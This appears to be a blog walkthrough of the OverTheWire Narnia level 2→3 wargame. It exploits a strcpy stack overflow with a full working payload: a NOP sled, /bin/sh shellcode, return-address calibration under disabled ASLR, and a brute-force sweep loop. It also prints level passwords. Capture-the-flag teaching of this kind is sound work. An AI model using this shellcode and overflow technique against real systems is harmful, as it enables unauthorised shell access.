OverTheWire Narnia Level 2 → 3 tutorial!!
Login
Log in with the password from Level 1 → 2 (my run gave 5agRAXeBdG
).
ssh narnia2@narnia.labs.overthewire.org -p 2226
# password: 5agRAXeBdG
Why? Each Narnia stage is a separate UNIX user. To solve Level 1 → 2 you must become
narnia2
.
Task
Binary to exploit: /narnia/narnia2
The program copies argv[1] into a 128-byte local buffer with strcpy
— no bounds checks. Overflow past the buffer to overwrite the saved return address (RET) and redirect execution into your shellcode.
Why? On 32-bit, the stack frame holds
[buf(128)] [saved EBP (4)] [saved RET (4)]
. If we write ≥132 bytes,RET
becomes ours.
A little bit of Theory
- Offset to RET:
128 + 4 = 132
bytes. - Payload layout (argv, not stdin):
104×NOP
+ 23-byte/bin/sh
shellcode +5×NOP
= 132 bytes, then RET pointing back into the NOP block. - Stability: Stack addresses shift (ASLR) and the environment size changes them too. Use
setarch i386 -R env -i
to disable ASLR and clear env so GDB and real runs match. - UTF-8 pitfall: In Python 3,
print("\x90")
emits UTF-8 (0xC2 0x90
). Always write raw bytes withsys.stdout.buffer.write(...)
. - RET must avoid
\x00
: If the little-endian RET contains\x00
(e.g.,…00
), your shell truncates the argument before overwrite → no control.
Further reading
- Aleph One — Smashing The Stack For Fun And Profit
man strcpy
,man setarch
- Exploit-DB Linux stack overflow & shellcode primers
Solution
1) Verify the RET overwrite offset (132)
cd /narnia
gdb -q /narnia/narnia2 <<'GDB'
run $(python3 -c 'print("A"*132 + "BBBB")')
quit
GDB
Why? Seeing
EIP=0x42424242
(BBBB) confirms the exact offset to RET is 132.
2) Calibrate on the exact layout (ASLR-off + empty env)
Start GDB with the wrapper so the stack matches the real run:
setarch i386 -R env -i gdb -q /narnia/narnia2
Run with the exact 132-byte pre-RET layout (single line):
run $(python3 -c 'import sys;S=b"\x90"*104;H=b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";P=b"\x90"*5;sys.stdout.buffer.write(S+H+P+b"BBBB")')
Dump the stack where your buffer sits:
x/200bx $esp-240
Why? You’ll see a big
0x90
block (NOP sled) followed by the shellcode bytes. Pick a RET inside that NOP block (or the first byte of the shellcode). Be sure the chosen address has no\x00
when packed little-endian.
3) Pop the shell (same wrapper, argv — not stdin)
setarch i386 -R env -i /narnia/narnia2 "$(python3 - <<'PY'
import sys,struct
SLED = b"\x90"*104
SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x89\xc1\x89\xc2"
b"\xb0\x0b\xcd\x80")
PAD = b"\x90"*5 # 104 + 23 + 5 = 132
RET = 0xFFFFDD0C # ← replace with YOUR address (avoid ...00)
sys.stdout.buffer.write(SLED + SHELL + PAD + struct.pack('<I', RET))
PY
)"
Why? Same layout + same process wrapper ⇒ the RET you picked lands inside your sled and slides into the shellcode.
Grab the next password:
whoami
# narnia3
cat /etc/narnia_pass/narnia3
Password
This is the password from my successful run; yours may differ based on the host snapshot. Replace this with your actual output.
vaeqeuzee
Troubleshooting
-
Illegal instruction
or justSegmentation fault
You likely jumped outside the sled. Re-do Step 2 and pick a RET clearly inside the0x90
region you see in GDB under the wrapper. Also make sure every generator uses:sys.stdout.buffer.write(b"...")
(never
print("\x90"... )
) -
Bash warns
ignored null byte in input
Your RET contains\x00
in little-endian (e.g.,…dd00
→00 dd ff ff
). Choose an address ending in…04, …08, …0c, …10, …14
, etc. -
Still not landing? Sweep a tiny range (same wrapper):
for a in 0xffffdcf4 0xffffdcf8 0xffffdcfc 0xffffdd04 0xffffdd08 0xffffdd0c 0xffffdd10 0xffffdd14; do echo "[*] RET=$a" setarch i386 -R env -i /narnia/narnia2 "$(python3 - "$a" <<'PY' import sys,struct ret=int(sys.argv[1],16) SLED = b"\x90"*104 SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68" b"\x68\x2f\x62\x69\x6e" b"\x89\xe3\x89\xc1\x89\xc2" b"\xb0\x0b\xcd\x80") PAD = b"\x90"*5 sys.stdout.buffer.write(SLED + SHELL + PAD + struct.pack('<I', ret)) PY )" && break done
-
Running from
~
says./narnia2: No such file or directory
Alwayscd /narnia
and use/narnia/narnia2
.
Copy-paste quick run
# 1) Confirm RET offset = 132
gdb -q /narnia/narnia2 <<'GDB'
run $(python3 -c 'print("A"*132 + "BBBB")')
quit
GDB
# 2) Find a RET inside the sled (ASLR off + empty env)
setarch i386 -R env -i gdb -q /narnia/narnia2
# In GDB (single line):
# run $(python3 -c 'import sys;S=b"\x90"*104;H=b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";P=b"\x90"*5;sys.stdout.buffer.write(S+H+P+b"BBBB")')
# then: x/200bx $esp-240 → pick an address inside the NOP block (avoid ...00)
# 3) Exploit with the same wrapper
setarch i386 -R env -i /narnia/narnia2 "$(python3 - <<'PY'
import sys,struct
SLED = b"\x90"*104
SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x89\xc1\x89\xc2"
b"\xb0\x0b\xcd\x80")
PAD = b"\x90"*5
RET = 0xFFFFDD0C # replace with your chosen address
sys.stdout.buffer.write(SLED + SHELL + PAD + struct.pack('<I', RET))
PY
)"
whoami
cat /etc/narnia_pass/narnia3
Congrats 🎉 You just executed a classic stack buffer overflow with a stable process layout and a calibrated RET. On to Level 3 → 4!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨